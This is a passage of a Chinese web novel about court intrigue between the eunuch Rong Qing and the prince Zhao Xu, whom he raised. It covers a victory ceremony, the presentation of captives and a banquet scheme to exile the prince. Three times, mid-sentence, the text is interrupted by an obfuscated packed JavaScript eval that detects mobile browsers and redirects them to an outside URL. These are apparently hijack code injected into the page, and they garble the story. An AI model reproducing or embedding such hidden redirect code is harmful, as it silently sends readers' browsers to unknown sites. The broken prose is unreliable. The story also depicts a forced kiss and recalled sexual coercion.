“吴帅。”一个低沉的声音响起,语含笑意,“打了胜仗,是大喜事,何必干站在雪中,一个劲儿受寒风呢?” 是赵珝。 青年人非但没了少年时的阴郁,笑起来时颇为爽朗儒雅,不仅有着天潢胃溃生来的气度,还多了几分大将的从容自在。说完此话,他率先跪在香案之前,抬起头,目光落在容倾的身上,唇角笑意不变。 容倾迫不得已与赵珝视线相接。 那视线应是明亮的,可仍旧让容倾不安,甚至感到了几分冒犯。年岁渐长,赵珝似乎不再像从前那样,什么都要藏着,变得不再遮掩自己的野心,以及……欲望。 容倾袖中的手指又是一动,笑容却越发完美无缺,薄唇被冻得发白,眼尾却在寒风中沁出几丝艳红。他目光平静:“殿下深明大义,实乃国之栋梁,咱家敬佩。” 声音平稳,听不出一点情绪。他彻底成了戏台上的泥偶,一板一眼,演着既定的好戏,至于那些纷杂的回忆,他……大概快忘记了。 而在他面前,赵珝跪了,吴怀英哪有不跪的理?众将士齐刷刷在案前跪作一排,铁甲兵器碰撞之声不绝于耳,肩甲上的雪逐渐凝成冰壳。 容倾微微欠身,捻起礼官递过的三支香,点燃后交予赵珝。 这香本该递与吴怀英,但碍于赵珝的身份,敬天地的礼仪,还是皇子更合适些。吴怀英只抬眸扫了一眼容倾,并未多言,算是接受了安排。 礼官见众人准备妥当,立时奉上圣旨。 “奉天承运皇帝制曰——” 容倾徐徐展开圣旨,立于香案前头,朗声诵读明黄布帛上的字迹。他的声音十分特别,阴柔又不失英气,被风雪揉出一丝甜腻的沙哑。 “辽东总官兵吴怀英等……统帅貔貅之师,深入险阻之地……功勋卓著,朕深嘉之……皇五子赵珝,天潢贵胄,主动请缨,参赞军务……克彰忠孝,实慰朕怀……” “皇五子赵珝”五个字一出,手持敬香的赵珝忽而抬了一下眼,意味不明看一眼容倾,又不动声色收回目光。 其下无非是一些赏赐。 众官兵,以金银赏赐为主;而赵珝,则受了一些宝玉、珍珠,另有一御笔匾额,上书“忠孝仁义”四字。 赏赐的都是些不痛不痒的东西,后续的升官、册封,都得赵瞻见了众人,再缓缓平衡。任何一个大权在握的皇帝,皆不允许武官得势,故而即使吴怀英打了好大一场胜仗,也是一副微小谨慎的模样,生怕到嘴的荣华富贵化作烟云散。 圣旨宣读完毕,容倾卷起布帛,还予礼官。而赵珝持香,于众官兵行跪拜大礼,“万岁”的口号响彻天际,激起群山休眠的飞鸟。 赵珝起身,毕恭毕敬,将三炷香插入香炉之中,而后随意拂去肩头的雪,再一次看向容倾,或者说,盯着容倾。 “既然大礼已成,诸位,赶路罢,切莫叫万岁爷好等。”容倾视若无睹,他拍了拍手,示意仪仗队伍掉头,预备踏上回程的道路。 “容督主。”赵珝的视线停在他艳红的眼角上,脸上的笑容越发明亮,“好久不见。” 五殿下与容督主关系匪浅,这在朝中不是秘密,可眼下的情况显然不对。吴怀英在官场混迹多年,对某些幽微的东西最是敏感,闻言眯起眼睛,暗中打量两人的互动。 只听容倾笑道:“是好久不见,天寒地冻,五殿下一路辛劳,不如随咱家一同走?”虽说笑着,但说出口时,立时被寒风冻成了冰。 赵珝也客气笑笑:“既然督主盛情邀请,那我也就不推脱了。” 说罢,二人一同向队伍最前头的车架前去,距离不远不近。容倾身旁拥着一大群内侍亲卫,而赵珝身侧空荡荡,没让人跟着,心情颇好,在雪地上留下一串深浅不一的脚印。 吴怀英摸不着头脑,也只得率军紧随其后。 大雪仍在下。 …… 容倾乘坐的暖轿十分之奢靡,里头熏着奇楠和某种花的甜香,铺着极柔软的鹅绒垫子,烧着暖炉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305384|182812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在冰天雪地里,温暖如春。 寒风里头站了好几个时辰,容倾只觉骨头缝里都泛着酸软,五脏六腑被冻了个彻底,坐进轿子,拥住暖炉,方才好一点。 此一番折腾下来,不知又要病个几日。 轿子里还坐着一人,正是赵珝。他卸去了部分盔甲,虽说年轻,但在战场上摸爬滚打一番,眉目间透着一股与年龄不相符的成熟。他饶有兴致看着容倾,视线不曾有过一丝偏移,语气温柔道:“姐姐,你似乎不高兴看见我。” 姐姐。 赵珝自小便这般称呼容倾。他是容倾带大的孩子,在朦胧的童年,他分不清男女,而少年的容倾面若好女,一来二去,他口中的“姐姐”,便只属于容倾一人。 容倾并不喜欢。 彼时赵珝年幼,他尚且纵容,长大后赵珝收敛了许多,他也就随这人去了,但…… “五殿下说的哪里话?”容倾闭上眼,靠在柔软的靠背上,“辽东大捷,殿下平安归来,臣为何不高兴?” “是么?”赵珝的身子前倾,若有若无逼近容倾,“我以为……姐姐还在生气。” 容倾终于有些烦了,冷冷道:“我有什么生气的?就藩与否、娶妻与否,都是你自个的事,我插手不了,也劝不动,我为何要生气?” 外头礼乐长鸣,车马碾过雪地,嘎吱嘎吱作响,再过一两个时辰,这列长队便会从广安门而入,在百姓的簇拥下,抵达午门。 容倾一想到要和赵珝单独相处两个时辰,就有点后悔自己方才的决定。他不应在吴怀英面前演戏,就该把赵珝丢在雪地里,冻得一句话也说不出,而后回到紫禁城,再让赵瞻把这小孩丢去封地,省得整日在他面前晃悠。 “不要再提那些事了。”赵珝的语气冷淡下来,“我的念头一直没变,三年前我一无所有,只得离开京师,去辽东拼一把功绩,而如今我有能与他交换的东西……姐姐,你还是想让我走,是不是?” 容倾睁开眼,眸子黑沉沉一片,平静无波:“不然呢?你不会真以为京师是个好待的地方罢?” “姐姐是在担心我么?”赵珝直接起了身,试探着握住容倾的手。明明在暖炉上贴了许久,可那双纤手依旧冷若寒冰。而他的掌心如一团肆虐的火,企图融化容倾身上那层厚厚的冰壳。 靠得太近了。 这种距离本能令容倾不安。 赵珝比少年时更加高大,几乎将他整个笼罩起来,某个不好的回忆浮上心头,容倾吐息一滞,极度不悦,挣扎几下,咬牙切齿道:“放开手……给我滚回去!” “不。” 赵珝持续逼近,将容倾整个人抱在怀里。依旧是那么纤瘦,童年时他以为容倾能扛起一切,长大后再看,却也不过是他一手就能抱住的、可怜的、连自个的命都无法掌握的养母。 “我以为……姐姐还在生我的气。不是就藩、娶妻的那些琐事,而是三年前,我亲了姐姐……容倾,你还在生气么?” 赵珝垂下眸子,深深埋入怀中人柔软的颈间,享受着那令他愉悦的颤抖,心里缓缓浮现一丝近乎扭曲的阴暗。 他想,明明是你骗了我。 5. 献俘 被人强吻,对容倾而言,不算什么大事。 他的那双薄唇,生得着实诱人,嫣红柔软,不大明显的唇珠,藏起皓齿与柔嫩的舌头,不过吐出的话,倒是毒得很。男人们强迫他欢好时,总爱先采撷这朵有毒的花,从薄唇到舌头,无一不细细品尝,而后才转移阵地,去采摘另一朵更为鲜嫩多汁的…… 容倾对此事几乎已经麻木。 只记得那日午后,他与赵珝大吵一架,质问赵珝为何拒婚。他不能理解,一个皇子娶妻就藩,为来日继承大统做好万全准备,是一件大好事,为何偏偏赵珝不肯? 十五岁的少年沉默良久,忽而上前紧紧抱住了他,哑着嗓音说“对不起”。他也软和了下来,回抱少年。那个时候的赵珝已经比他高了,可他依旧把赵珝当成一个孩子,一个在乾东五所惶惶不可终日的幼子。 他从不否认,自己培养赵珝,一直出于一种冰冷的算计。他需要一个能拿捏的皇子,由此在赵瞻面前作出一种虚伪的温情,赵瞻获得扮演“父亲”的愉悦,他也因此站得更稳。 却也并非毫无感情。 无论如何,相依为命……终究是他越不过的心坎,他为赵珝的前途耗尽了心血,直到被对方一个惊世骇俗的吻打乱一切谋划。 少年的亲吻胡乱而无章法,先是吮吸他的嘴唇,又尝试撬开他的贝齿,含住他的舌头……他那时已病入膏肓,恰恰习的武功阴寒恶毒,只得生生废了自己的武功,身上一丝力气也无,就这般被赵珝强行亲吻,甚至推在软榻上…… 他记得他给了赵珝一个耳光。 也好似给了他自己一个耳光。 荒唐。 但仔细一想,他和赵瞻,皆不是什么好人,又能养出什么忠孝仁义的好孩子? 不过是自作孽罢了。 直至三年后,容倾依然忘记不了那种恶心的恐惧。他混混沌沌地想,为何?为何这些人,同僚、政敌、朋友……乃至养子,对他皆是那样的念头? 他们解开他衣带的时候,真的在乎他么? “滚。” 容倾生硬道。 他比三年前更加内敛,只是冷冷淡淡地警告,而非甩手一个耳光。他要的是体面,也希望赵珝懂得何为体面。 毕竟顶着一个巴掌印到赵瞻面前,到时候谁都下不来台。 而赵珝置若罔闻,双手压上怀中人的腰,将人往自己怀里带。他的手覆着铁甲,唯独掌心烫得惊人,身上带着浓烈的生铁气息,他用鼻尖抵着容倾柔软的肌肤,轻声道:“姐姐,我好想你。” 可惜容倾并不怎么想他。 这些年,容倾一直在扪心叩问,究竟是哪一节出现了偏差。论课业,尚书房教授的皆是圣贤书,他也不止一次告诉过幼时的赵珝,要做个仁义的君子,可从某一日起,赵珝的目光越发沉默,直至变得……那般的眼神,不应该落在身为养育者的容倾身上。容倾惊觉自己已经成了少年眼中那个必须被征服、占有的仇敌。 大概……赵珝真的恨他罢。 那又能如何呢? 赵珝索取的,他给不了;他给予赵珝的,赵珝又不想要;而他追求的,赵珝……能给他么? 不可能。 容倾手指微动,袖中缓缓露出一柄细小的匕首,唇缝挤出一个字:“不。” 而赵珝见好就收,抱了满怀的奇香,听见容倾斩钉截铁的否认,倒也不气恼,只是无声一笑,终于松了手。 “五殿下。”容倾紧紧抱着暖炉,神色冷硬,他悄无声息收回匕首,垂下眸子,毫无感情道,“还请您……好自为之。” 赵珝笑笑:“我以为姐姐也很想我,一时情难自禁,多有冒犯,实在对不住。”说罢,随意理一理衣物,坐回另一侧的靠椅上,盔甲发出清脆的碰撞声。 一路无言。 车轮碾在厚重的雪上,发出嘎吱的声响。乐声忽远忽近,不知是被风雪遮住了,还是其他的什么。暖轿上悬着的金铃叮叮地响,容倾觉得吵,一伸手,将那几串金铃取了下来。 容倾想,到底何时才是个头。 作为长辈,他理应对赵珝嘘寒问暖,问几句辽东的战事如何、可否受伤、有无朋友……但他一句也问不出口。 他早已与人谋划好了,在今夜的凯旋宴上,要唱一出完美的双簧,将赵珝踢出京师。 赵珝自然不知他心里所想,仍是面含微笑,坐在他对面闭目养神,也不再另起话头,一时轿内只余清浅的呼吸声。 …… 从广安门进城后,风雪终于平息。 礼乐大奏,百姓们夹道欢呼,彩旗飘飘,马蹄锵锵,端的是一派群情激昂。自先帝以来,辽东屡屡失守,大燕的北方边境几乎被瓦剌、鞑靼及女真各部压着打。故而此番大胜,自是叫人扬眉吐气,似乎那个远去百年的盛世正在逐步归来。 行至午门,容倾与赵珝一前一后下了轿。众人开出一条道路,由吴怀英等大将押送鞑靼、女真的俘虏上前,乌压压的在午门前跪了一地。 打头的那个俘虏,名叫巴图,乃鞑靼赛特,隶属内喀尔喀五部,为鞑靼军中威名远扬的大将,此番马失前蹄,被大燕皇帝的儿子生擒,押送到这大燕的国都,等候发落。 此人生得魁梧,燕颌虎须,是个威猛骄傲的草原汉子。此刻满脸血污,却看得出一脸不屑,甚至高高抬起头,直视午门之上的大燕皇帝。 “大胆!尔等还不速速下跪,叩见我朝君父?”吴怀英暴喝一声,把着巴图肩膀的手骤然发力,硬生生将这大汉压得两股微屈。 巴图只抵抗了片刻,竟顺从地跪下。他没再盯着皇帝瞧,而是一转视线,落在不远处一袭红衣的容倾身上。 “我认得你。”巴图笑了,笑容里藏着几分探究,“你叫容倾。” 容倾闻言,脚步一顿,转过头,朝巴图行了个礼:“久仰巴图将军大名。” “不,应是巴图久仰容监军大名。”巴图打量着容倾,笑容愈盛,说汉话的口音奇怪,带着一股独特的韵律,“我以为一个能逼得瓦剌西迁的英雄,合该是个顶天立地的汉子,可如今一看,怎的生了一副女人的模样?你可晓得,草原上口口相传,说如若寇聪是你朝的战神,那你便是内廷军师,虽是个阉人,却比你国的那些懦夫更像个英雄……” 吴怀英闻言脸色大变,手中刀鞘狠狠砸在巴图的背上,砸得巴图大吐一口血。他怒喝道:“天子脚下,胆敢放肆?巴图,闭上你的狗嘴!” 此地离天子临处尚有些距离,巴图的声音不大,不过周遭几人听得。但只怕不消片刻,巴图嘴里的话,便一层过一层,传进赵瞻的耳朵里。 容倾余光一扫,果见有人身影一闪,向着城墙而去。他收回目光,不咸不淡道:“巴图将军身在化外,倒是对我朝宫闱之事关切得紧。” 说到一半,他轻笑一声,语气却不容置疑:“寇大帅是国之柱石,咱家不过一小小奴婢,奉命奔走,怎敢与寇大帅并称?将军这是……想使离间计?恕咱家直言,将军恐怕找错了人。至于是英雄还是懦夫,天下自有公论,何必要你一个异族人指指点点?” 巴图满口的血,闻言呵呵直笑,那双眼睛有如草原上的鹰隼一般锐利,似是要剥开容倾的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“今王师震怒,剑指辽东,尔等触怒天颜,受擒而获,实乃咎由自取。” 容倾目光飘到巴图的身上,只见这个草原大汉似乎嗤笑了一声。他心中微动,想起早年他在大同监军,围剿汉蒙互市,汉人与蒙人仓皇出逃,一刀下去,血都是热的,不分你我,都不过是混口饭吃的人罢了。那时有个人和他说,生生世世,互杀不尽,只是苦了百姓,便宜了老爷们。 “然,朕体会天意,有好生之德。尔等虽为化外野人,犹有几分骁勇……” 赵瞻闭上眼,作出决断。 “也罢!杀戮非朕所愿,今特开恩,赦尔不死!剥鞑靼将领巴图原职,赐宅一座,于京中恩养,以示怀柔。至于其余人等,则发配辽东镇各军,好生教化,令其效力于朕!” 容倾思绪游荡了一圈,回到当下。他心里冷笑,“无聊”二字浮上心头,又被他死死压住。他仍是赵瞻身旁一尊完美的玉雕,脸上挂着虚伪的笑。 而城楼之下的巴图,听后却大声嘶吼,恨不得求赵瞻赐他一死,而不是在这异国他乡的国都之中,被软禁至死。众将士纷纷上阵将其压制,唯独赵珝一动不动。 容倾与赵珝隔着千万人对视一眼。 在他将要若无其事移开视线时,赵珝忽而轻轻朝他笑了一下,作出一个“姐姐”的口型,目光死死盯着容倾,全然不顾一旁的皇帝。 小兔崽子。 容倾冷冷地想。 看你还能猖狂到几时……今夜庆功宴,必让你滚出京师。 6. 双簧 献俘礼后,便是凯旋宴。 赵瞻赐宴奉天殿,犒劳功臣,一时间大殿之中杯觥交错,偶有几句笑语,稍稍缓和沉肃的气氛。明明是个凯旋宴,却暗流涌动,众人各怀心思。 容倾立于御座左侧,姿态谦卑,垂着眸子,殿中并无美人献舞,只需他站在那儿,便已是皇帝的某种炫耀。而御座的另一侧,则是司礼监掌印太监,孟进。这老东西脸上挂着恰到好处的笑,老眼里闪着精光,也不知在算计着什么。 他与孟进,虽说皆为朝廷里顶顶有名的大珰,可到了这等场合,仍是天子的家奴,只得在近旁伺候,上不得桌子。 一名内侍战战兢兢上前,手中金盘托着炙过的鹿肉,小声颤抖道:“请督主……试菜。” 那内侍年纪小,手一直在抖。容倾瞧小内侍一眼,手中银箸起落,尝了一口鹿肉,只觉腥膻,几欲令他作呕。不过人倒是无碍,便接过盘子,置于案面不显眼的一角。 ——赵瞻也不爱吃这般腥膻的玩意儿。 容倾试过菜,目光轻扫,掠过下方众人,最终落在赵珝的身上。年轻的皇子意气风发,正与辽东总兵吴怀英等人交谈甚欢。 他轻轻吐出口气,与孟进默契对视一眼。 时候差不多了。 他们斗了好几年,虽说龌龊颇多,但也算心有灵犀,偶尔唱个双簧戏,无需提早接触,一个眼神便能知对方的意思。 只听孟进笑道:“万岁爷,臣想起一件事儿,想着趁今日大喜一并说了,也好请万岁爷做个主。” “哦?”赵瞻把玩着手中的酒爵,“何事?” 孟进看了一眼座下的赵珝,小心翼翼道:“臣想起……五殿下早过了就藩的年纪,又在辽东为国效力三年,万岁爷,您看……” 此话一出,大殿登时冷寂下来,乐师似乎也忘了奏乐,只听得殿外冬雪轻落,以及某些人急促的呼吸。众人的视线先落在赵珝身上,等待这位皇子的反应。 赵珝不动声色,给自个倒了一杯酒,利落饮下,而后走至大殿中央,跪地行礼道:“儿臣不孝,功利心重,推脱了就藩的重任,还请父皇责罚。” 赵瞻不答,只是微微皱眉,眯起眼盯着不远处的儿子,指尖有一下没一下敲着桌案。 气氛僵硬,方才开口的孟进自知失言,连忙跪在赵瞻脚边,给了自己一个响亮的耳光,满脸堆笑道:“万岁爷明鉴!五殿下何错之有?殿下年纪轻轻,生擒鞑子将领,立下赫赫战功,此乃大孝啊!臣以为,殿下既有军功在身,又已成年,理应就藩,为万岁爷镇守一方,如此一来,尽了皇子的本分,也安稳了江山,这是大燕的福气啊!” 这老东西舌灿莲花,三言两语就把自个摘了出去,恭谨地伏在皇帝脚边,一脸恳切,仿佛他真心为赵珝惋惜。 “容卿。” 赵瞻不咸不淡开了口。 “五郎是你带大的,你觉得如何?” 容倾只瞧了一眼地上的年轻皇子,语调冷清道:“回万岁爷的话,臣以为孟掌印言之有理。依臣之见……五殿下有经略辽东之才,既然如此,不如请殿下就藩辽东,以镇鞑靼、女真。” 他的咬字清晰独特,语气虽说冷淡,可嗓音里的那一抹沙哑,连这一段近乎绝情的话,也多了几分柔情。 赵珝抬头看了他一眼。 容倾忽而有些玩味,他倒也不逃避,大大方方与之对视,试图从赵珝眼里寻到诸如震惊、难过的情绪。 可惜这小兔崽子居然也练出了耐性,一双眸子平静无波,甚至还沉着几分莫名其妙的雀跃,看得容倾忍不住蹙眉,当即移开了视线。 “哎呦!”孟进闻言,一脸的心疼,“容秉笔,殿下好歹是您看着长大的,何至于如此狠心?殿下金枝玉叶,刚立下战功,同那些杀人不眨眼的鞑子风里来、雨里去,岂能再去苦寒之地受苦?” 老东西说着说着,眼里竟流下两行清泪,一面用袖口拭泪,一面哽咽道:“臣斗胆,既然万岁爷一片慈父之心,合该赏殿下一个江南鱼米之乡,教殿下好生休养、享享清福……”他膝行几步,面向群臣,目光恳切,“吴总兵、胡阁老,您二位说,是不是这个理?” 吴怀英哪敢多言,只得道:“臣一介武夫,于宗室之事不甚清楚,一切全凭陛下做主!” 至于另一位胡阁老…… 容倾的目光落在那位老人的身上,手指轻轻攥紧了袖子。 胡长庸,时任内阁首辅,兼任礼部尚书,比起孟进那种一团和气的白面老人长相,他则是个过分严肃的干瘦老头儿,下颌有一簇花白的羊角胡子。 这位胡阁老捋了捋胡子,沉吟片刻,道:“臣以为……孟掌印与容秉笔,虽说各有其理,但仍有失偏颇。” 此话一出,赵瞻的脸上浮出一抹笑,似乎很是感兴趣:“胡爱卿,此话怎讲?” 孟进笑容一僵,容倾仍是神色宁静,至于赵珝…… 他老老实实跪在地上,垂着眼,也不知在想什么,好似话题与他无关,他不过是个局外人。 只听胡长庸严肃道:“五殿下有不世之功,于国于民,皆为大幸。不过皇子就藩一事,并非是赏赐,而是殿下的职责,于何处就藩,应首选朝廷重地,而非富庶之乡——” “容秉笔的提议极好。” 赵珝终于出了声。他打断首辅的话,不卑不亢抬起头,露出一个明亮的笑容。 “不瞒父皇说,儿臣在辽东三年,并不觉得有多苦。那儿是个宝地,黑水白山,野物颇多,若非冬日漫长,不失为一个好去处。况且鞑虏不过是暂且撤退,若防守不当,日后必卷土重来。儿臣愿重返辽东,为父皇永镇北方门户!” 他这话说得掷地有声,一派坦荡,连胡长庸也不由得露出意外的神情,抚摸胡须的手一顿,讷讷道:“殿下……” 吴怀英一干辽东将士闻言,面上纷纷浮现出几分敬佩,只觉这位皇子一如既往的有血性。 容倾却暗道不妙! 只见他的余光之中,赵瞻的笑容已然渐渐消失,这位令人捉摸不透的皇帝眯起眼,身子前倾,语含几丝令人不寒而栗的探究:“五郎,你不愿留在京师么?” 赵珝道:“儿臣心意已决。” 疯了。 容倾面上不显,暗地里却攥紧了拳头。 他提议赵珝去辽东,不过是给孟进后头的话搭架子。他演个严厉的长辈,而孟进再哭两下,给赵瞻搭起“慈父”的戏台,一同将赵珝踢出京师。但如今事态的发展已经有点脱离他的控制了。 赵珝顺着他的话说回辽东,他以为是在赌气,没作声,可重复一遍又是何意?一个皇子,身负军功,又和一干大将关系匪浅…… 嫌赵瞻的疑心还不够重么? 这人……想作甚? 容倾深吸一口气,忍住探究的念头,决定冷眼旁观赵珝玩火。 赵瞻问出那句话后,赵珝似乎愣了一下,旋即立时垂下头,语气认真道:“儿臣不敢!京师虽好,是天下最祥和平安的地方,还有儿臣惦念的人……但儿臣不愿做个干吃皇粮的废物,只想去最熟悉的地方,为朝廷尽一份力。” 这话听起来实在情真意切,无可指摘。 赵瞻却轻笑一声:“好一个‘为朝廷尽力’,五郎,你真不愧为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305386|182812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朕最懂事的儿子。” “懂事”二字落音极重。 在场皆是聪明人,如何不晓得哪里出了问题? 太懂事了。 懂事到反常。 一个立下大功、意气风发的皇子,不求在权力中枢,也不寻江南富庶之地安度余生,反而一心要回辽东那苦寒之地,究竟是“尽忠”,还是“尽孝”?抑或是……别有所图。 赵瞻摩挲着龙椅的扶手,一言不发,只一昧盯着赵珝,目光有如千钧之重,压在一众人的身上。 容倾忽而觉得有些好笑。 他不得不说,赵珝还是聪明的。 天底下疑心最重的人,便是龙椅上的这位。赵珝若想留京,困难重重,但有一件事,却是可行的——让赵瞻怀疑他。 愈是怀疑,愈是不好放他出去,哪怕留赵珝在京中也有许多不妥,但也确实比天高地远好控制。 容倾不得不承认,赵珝已经长大了。 甚至可以勉强当一当他的对手。 不过论揣摩圣意,赵珝还是太嫩了。 只听赵瞻语气淡淡道:“但若朕不赏功臣,还将人遣往偏远之地,又是个什么理?”皇帝轻轻看一眼胡长庸,然后落回赵珝身上,“诸爱卿所言皆有道理。要不就这样罢,着内阁与礼部,选一处富庶之地,作为你的封邑,至于就藩之期……” 赵瞻忽而笑了笑,意味不明:“便定在三个月后。你尚未娶妻,朕要亲眼看着你大婚成家,携王妃一同就藩。人生大事,不得再拖了!” 旋即他似乎想起了什么,面带笑意,目光轻飘飘落在容倾身上,唤道:“容卿。” 容倾低眉顺眼道:“臣在。” “五郎是你带大的,你最知他的性子,选妃一事,若给皇后,只怕不能尽善尽美。恰好你也熟稔宫中事务,王妃人选,你过几日拟个名单上来。” 容倾闻言手剧烈一抖,浑身的血几乎冻结,可他还是那副冷静的模样,笑容浅浅,仿佛对此事早有预料。 而三年前,也是他拟的王妃名单,谁料赵珝见了那单子,泣不成声,抱着他,亲吻他,向他倾诉少年荒谬且热烈的情话。 他绝对不能再让赵珝得逞。 他道:“臣遵旨。” 而赵珝却垂下眼皮,陷入沉默。 “五郎?”赵瞻叩了叩桌案,面上略略不满,“为何不回话?” “儿臣……” 赵珝抬起头,眼眶通红,浑身剧烈颤抖,他身上那股悲伤和绝望一瞬迸发,令群臣不由得愣在原地,纷纷望向龙椅上的赵瞻。 他像只困兽,咬着牙,强忍泪水,吐出的话却一句比一句决绝:“父皇,儿臣恕难从命!儿臣心中……早有一人,非他不娶,非他不愿!若不能与之相守……儿臣宁愿就此剃度,一心向佛,还请父皇成全!” “放肆!”赵瞻终于勃然大怒,一拍桌案,杯盏震动不已,“婚姻大事,岂容你胡闹!赵珝,朕看你在辽东三年,心野了不少……哼。” 皇帝说到一半,忽而神色玩味,怒火似乎平息了不少。他的目光居高临下,先死死盯着赵珝,又不动声色一扫,掠过一旁垂首默立的红衣大珰。 容倾只觉两眼发黑。 一股冰冷的恐惧淹没他的口鼻,他确定了,赵珝就是疯了,不管不顾,公然挑衅赵瞻,哪怕以这般荒诞的方式…… 他喉间涌上几丝腥甜,魂魄几乎离体而去。但他依旧不会失态,旁人看起来,只觉他愈发冷若冰霜,似乎事不关己。 赵珝这哪里是在求一个成全? 不过是想……拉所有人一起下地狱罢了。 7. 独酌 大殿之中寂静如死。 赵瞻剧烈起伏的胸口渐渐平息,他神色不明,冷眼睨着赵珝,忽而一笑:“呵,既然你一心向佛,朕便将你禁足,日夜念诵佛经,直到大婚那日,方可解禁!孟进——” “臣在。”孟进赶忙应道。 “让人送五皇子去大佛堂,盯紧了,朕倒要看看,这小子能固执到及时!” 说罢,赵瞻甩袖便走。 容倾冷冷瞧一眼地上的赵珝,只见这人泪流满面,双目赤红,竟看不出演戏的痕迹。他心里蓦地生出一些不自在,不过只有一瞬,他旋即垂下眼,硬着心肠,随赵瞻而去。 在他转身的刹那,赵珝飞速抬头,目光幽幽盯着他远去的背影,唇角勾出一抹极淡的笑。 …… 许是被气得不轻,赵瞻回乾清宫后便歇下了,并未传唤容倾留夜。容倾在乾清宫外无所事事,候了片刻,他对长乐道:“回去罢?” 长乐一愣:“回哪?” “你是糊涂了?”容倾好笑道,“自然是回睡觉的地方,今个司礼监不是我当值,又何苦累着自己?回雍园歇息。” 雍园,是赵瞻赐给容倾的宅子。 这园子原是个国公府,先帝时,上一任主人犯了事,全族流放,偌大的宅子没入国库,直到前些年,赵瞻心情大好,亲自绘图、监工,叫人里里外外修葺一番,赐给了容倾。 赵瞻原先题了“雍苑”的匾额,以示恩宠,可又显得过分狎呢,于礼法不合,最终改成“雍园”二字。园中各色风物应有尽有,水榭楼阁,错落有致,一步一景,极致风雅,有一小湖,以太湖石作假山,烟波浩渺,好似瑶台仙池…… 容倾面无表情走过这奢华的园子,额角一抽一抽地疼,目不斜视,仿佛满园美景与他无关,一路至后院的二层小楼,方才脸色稍缓。 他对赵瞻的审美实在敬谢不敏,加之赵瞻频繁临幸此地,不宜擅动,便在后院给自个建了一幢精巧的小楼,是他这些年的一处归属。 推开小楼的门扉,一股异香扑鼻而来,说不清是何种香气,奇楠?沉香?柏子香?混在一起,原本都是些清冷的气味,容倾闻多了,只觉甜腻。 他扫过一眼自己精心布置的屋子,入目便是花纹繁复的波斯地毯,不要钱似的,铺了满地,连楼梯上也铺着昂贵的毯子。各色的绸缎,香云纱、浮光锦……一层又一层,搭在镶螺钿描金的乌木屏风上,颜色、纹样各异,偏偏和谐得很。软榻上搭着各类皮毛,雪狐、紫貂、银鼠……随意散着几支金钗。珠帘上的珍珠个大饱满、洁白无瑕,间或夹着各色宝石碧玺。桌案、小几上,摆着各式样的金银器、珠翠头面,另有十几座番邦进贡的自鸣钟,以及一些新奇玩意儿……。 他彻底松了一口气,如同鱼入了水,脱去皂靴,不等长乐上前,自个将一身的物件褪了个底,只剩下单薄洁白的中衣,又拆了发髻,乌发如瀑垂落,直至小腿。他抬足,跨过地上的玉带蟒袍,走到窗边,哗啦一下,将那扇大窗打开。 寒风瑟瑟,吹得青丝乱舞,他托着腮,抬眸看看月亮,又瞧瞧眼前覆了雪的腊梅,一时无言。这窗前的花树,四时不同,春、夏最为热闹,桃花、梨花、杏花、紫藤……哗啦啦地开,入目皆是一片生机。 不过正值隆冬,只有那不起眼的腊梅和白雪,他也不嫌弃,凝望许久,回头说道:“给我温壶酒来。” 长乐抱着他方才脱下的衣物,闻言一脸担忧,犹豫道:“督主,您身子不好,这……” 容倾只盯着他,不说话,手臂抱着膝盖,整个人蜷成一团。并非是命令的眼神,而是一种柔软的、近乎悲伤的目光。月光落在容倾的身上,苍白的一道剪影,被这一屋繁华簇拥,孤零零的。 长乐拗不过,只得唤人温了一壶酒,上了几碟容倾素日爱吃的小菜,摆在窗边的小几上,又抱着一件狐毛大氅,轻声道:“督主,披件衣裳,别着凉了。” 柔软的狐狸毛拢住容倾的脸,显得他年纪格外的小。他垂下眼睛,给自己倒了一小杯酒,一饮而尽,目光渐渐朦胧起来,眼角飞出薄红。 他扯住长乐的袖子,右手比划一下,道:“我记得,他……我第一次见到他时,他才两岁,连话都说不清楚。” 后来长啊长,如今已比他高了大半个头。 长乐听得很认真,因为容倾很少如此难过。 容倾吃不了酒,一点点就让他昏头昏脑,平日但凡有应酬,无人敢对他逼酒,可不代表他不喜欢。虽然不大能喝,但私下无外人时,他会偷偷喝上一口。 所谓酒后吐真言。 只听容倾低声道:“他大概……很恨我罢。”说罢,自嘲一笑,毕竟天底下恨他的人多了去了,多一个赵珝、少一个赵珝也无所谓。 他只是忽而有些怀念曾经的岁月。 “长乐,你也晓得,在宫里没点门路,根本活不下去。大概是……十几年前的事了,一个老阉狗,名字记不得了,克扣我的月俸。月底没东西吃,我只好去找他寻个理,他要我跟了他,我不肯,就被按在地上打。小五……五皇子扑过来,让老阉狗不要打了,可那聋子如何听得见?打得我和小五一身的血……” 长乐听得心疼不已,两眼含着泪,将人紧紧抱在怀里。 他絮絮叨叨说了许多,整个人昏昏沉沉,陷入那些经年的回忆之中。故人纷至沓来,从赵珝开头,到那些活着的、死去的……短短三十载人生,他似乎活了有三万年之久。 